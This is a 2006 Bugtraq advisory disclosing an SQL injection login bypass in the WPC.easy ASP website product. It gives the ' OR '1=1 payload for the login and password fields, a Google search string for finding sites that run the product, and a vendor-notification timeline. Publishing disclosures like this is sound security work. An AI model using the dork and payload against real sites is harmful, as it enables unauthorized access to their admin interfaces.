Bugtraq: SLQ Injection vulnerability in WPCeasy

[murfie () gmail com]

My first vulnerability report :)

Description:

"WPC.easy" is a database generated website with a dynamic on-line administration suite which allows for product 
updates, editing, deleting, image upload and price changes. "WPC.easy" is powered by a Secure Database.

vendor: http://www.webpagecity.com/wpceasy/wpceasy.asp

Quote:
"WPC.easy" is an interactive self maintained web site, developed with ASP technology. The web site has a secure, 
password protected dynamic administration interface.

Secure ?? Woops.. :)

googledork:

"Thank You for using WPCeasy"
http://www.google.com/search?q=%22Thank+You+for+using+WPCeasy%22&filter=0

SLQ injection:

login: ' OR '1=1
password: ' OR '1=1

Status:

28 jan 2006: vulnerability found
29 jan 2006: vendor notified 
30 Jan 2006: vendor responded
18 Feb 2006: still no fix, posted to buqtraq

Greetings to L0om for encouraging me to post this here and everyone at JIHS.